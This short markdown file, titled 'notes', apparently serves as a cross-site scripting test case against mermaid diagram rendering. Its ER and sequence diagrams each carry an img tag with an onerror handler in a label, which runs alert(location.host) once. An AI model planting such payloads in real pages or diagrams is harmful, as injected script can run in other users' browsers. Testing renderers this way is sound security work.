notes

```mermaid
erDiagram
  A ||--o{ B : "<img src=x onerror=window.__mx||(window.__mx=1,alert(location.host))>"
```

```mermaid
sequenceDiagram
  participant A as Alice<img src=x onerror=window.__mx||(window.__mx=1,alert(location.host))>$$\text{A}$$
  A->>B: hi
```